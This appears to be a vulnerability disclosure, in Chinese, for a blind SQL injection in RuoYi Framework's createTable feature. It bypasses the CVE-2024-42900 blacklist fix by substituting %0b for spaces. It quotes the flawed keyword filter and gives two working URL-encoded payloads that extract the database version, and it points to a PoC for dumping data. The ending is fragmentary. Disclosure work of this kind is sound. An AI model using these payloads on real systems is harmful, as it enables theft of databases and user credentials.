我在 RuoYi Framework v4.7.9 的 createTable 功能中发现了一个盲 SQL 注入漏洞。该漏洞允许已认证的管理员通过 sql 参数执行任意 SQL 命令。这是对 CVE-2024-42900 修复的绕过,因为 filterKeyword 方法中的 SQL 注入过滤器不够充分,通过使用 %0b 作为空格的替代字符即可绕过该正则表达式。
产品:RuoYi Framework
版本:≤ 4.7.9
链接:[Ruoyi]
该漏洞位于 https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java 文件中,如下所示。应用程序依赖黑名单关键字来过滤 SQL 注入攻击,这种方式容易导致绕过。在本例中,为修复 CVE-2024-42900,黑名单中加入了 /* 字符串,但应用程序仍然没有拦截 %0b 字符,因此我可以使用 select%0b 来触发 SQL 注入。
public class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
正则表达式中的 select 匹配的是 select (后跟空格)。它无法匹配 select%0b,而 %0b 在 SQL 中是有效的分隔符。
/tool/gen/createTable)
sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
注意: 每次成功查询后,需要更改 CREATE 查询中的表名。
3. 借助基于布尔的 SQL 注入,可以使用本仓库中的 Python [poc] 来窃取数据
用法

窃取数据库版本的 PoC

拥有管理员权限的攻击者可以转储整个数据库,包括其他用户的凭据和系统配置。
%0b 字符。select,而不是 select (去除末尾空格)